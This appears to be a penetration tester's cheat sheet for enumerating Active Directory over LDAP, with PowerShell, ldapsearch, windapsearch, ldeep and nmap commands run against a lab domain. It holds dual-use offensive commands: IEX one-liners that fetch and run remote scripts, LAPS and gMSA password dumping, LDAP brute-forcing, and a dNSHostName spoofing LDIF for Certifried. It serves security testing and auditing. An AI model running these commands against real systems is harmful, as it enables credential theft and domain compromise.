Theory
Some Extensible Match Matching Rules:
Rule Name OID Description True if all bits from the attribute match the value (bitwise AND).
True if any bits from the attribute match the value (bitwise OR).
Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN.
UserAccountControl
Decode UAC Values
DecodeUserAccountControl.ps1
Copy # Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([ int ]$UAC)
{
$UACPropertyFlags = @ (
"SCRIPT" ,
"ACCOUNTDISABLE" ,
"RESERVED" ,
"HOMEDIR_REQUIRED" ,
"LOCKOUT" ,
"PASSWD_NOTREQD" ,
"PASSWD_CANT_CHANGE" ,
"ENCRYPTED_TEXT_PWD_ALLOWED" ,
"TEMP_DUPLICATE_ACCOUNT" ,
"NORMAL_ACCOUNT" ,
"RESERVED" ,
"INTERDOMAIN_TRUST_ACCOUNT" ,
"WORKSTATION_TRUST_ACCOUNT" ,
"SERVER_TRUST_ACCOUNT" ,
"RESERVED" ,
"RESERVED" ,
"DONT_EXPIRE_PASSWORD" ,
"MNS_LOGON_ACCOUNT" ,
"SMARTCARD_REQUIRED" ,
"TRUSTED_FOR_DELEGATION" ,
"NOT_DELEGATED" ,
"USE_DES_KEY_ONLY" ,
"DONT_REQ_PREAUTH" ,
"PASSWORD_EXPIRED" ,
"TRUSTED_TO_AUTH_FOR_DELEGATION" ,
"RESERVED" ,
"PARTIAL_SECRETS_ACCOUNT"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
)
$Attributes = ""
1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
Return $Attributes
}
Mitigations
Scan for LDAP Singing and LDAP Channel Binding:
Copy $ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done
LDAP Signing & LDAP Channel Binding
Property Name Property Path HKLM\System\CurrentControlSet\Services\NTDS\Parameters\
HKLM\System\CurrentControlSet\Services\NTDS\Parameters\
If LdapServerIntegrity
is set to 2
, LDAP Signing is required:
Copy PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity
If LdapEnforceChannelBinding
is set to 2
, LDAP Channel Binding is always required:
Copy PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding
Tools
RSAT-AD-PowerShell
Install via Capabilities (Windows clients) or via Features (Windows servers):
Copy # Servers
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
# Clients
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
Install via ADModule:
Copy PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)
Example Queries
List disabled users (when searching for users use objectCategory
+ objectClass
filters):
Copy PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
Count users, groups and computers:
Copy PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
List users with DoesNotRequirePreAuth
set (aka asreproastable ):
Copy PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
List accounts with SPN(s) set (aka kerberoastable ) and which are also in Protected Users group:
Copy PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl
List all groups that j.doe is a member of:
Copy PS > Get-ADPrincipalGroupMembership j.doe | select name
List all groups (including nested groups) that j.doe is a member of:
Copy PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name
List members of IT Support group through nested group membership:
Copy PS > Get-ADGroupMember "IT Support" -Recursive
List users marked as trusted for delegation (TRUSTED_FOR_DELEGATION
UAC value is 524288
):
Copy PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
Find the number of users in the Helpdesk OU:
Copy PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count
Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):
Copy PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
Find users with description field filled (one-liner ):
Copy PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
Find users with a null password (PASSWD_NOTREQD
UAC value is 32
):
Copy PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
Create a new domain user account:
Copy PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
List deleted AD objects (AD recycle bin ):
Copy PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap
ldap3 (Python)
Check if anonymous bind is allowed:
Copy >>> from ldap3 import Server , Connection , ALL
>>> s = Server ( '192.168.1.11' , get_info = ALL)
>>> c = Connection (s, user = '' , password = '' )
>>> c . bind ()
>>> print (s.info)
ldap-utils
ldapsearch
Install:
Copy $ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y
Basic syntax:
Copy $ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]
Get base naming contexts:
Copy $ ldapsearch -h 192.168.1.11 -x -s base namingcontexts
Extract data for the whole domain catalog and then grep your way through:
Copy $ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof
Or filter out only what you need:
Copy $ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType
Get Remote Management Users
group:
Copy $ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof
Dump LAPS passwords:
Copy $ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
Simple authentication with a plaintext password:
Copy $ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
SASL GSSAPI (Kerberos) authentication (there should be both A
and PTR
DNS records of the DC for this to work):
Copy $ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
Analyze large output for anomalies by searching for unique strings:
Copy $ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr
ldapmodify
An example of removing SPNs and changing dNSHostName
(see dNSHostName Spoofing (Certifried) ):
Copy $ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
Copy dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local
windapsearch
Enumerate domain function functional level with LDAP anonymous bind:
Copy $ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality
Enumerate users in Protected Users group which are also trusted for unconstrained delegation:
Copy $ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation
Find what OU is the user John Doe part of:
Copy $ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe
Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r
flag) and save results into a csv file:
Copy $ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv
go-windapsearch
Find user accounts which require smart card authentication (SMARTCARD_REQUIRED
UAC value is 262144
):
Copy $ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn
Get password history size in the domain:
Copy $ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength
Search for service accounts configured for constrained delegation:
Copy $ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword
Dump all users info:
Copy $ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt
ldapsearch-ad
Enumerate password policy in the domain:
Copy $ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols
Run all checks:
Copy $ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all
gMSADumper
Copy $ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889
ldeep
Enumerate ACEs of the AdminSDHolder
object:
Copy $ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'
Convert SID to name:
Copy $ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>
Nmap NSE
Copy $ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389
LDAPmonitor
Copy $ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11
ADSpider
SilentHound
Copy $ python3 silenthound.py -u snovvcrash@megacorp.local -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp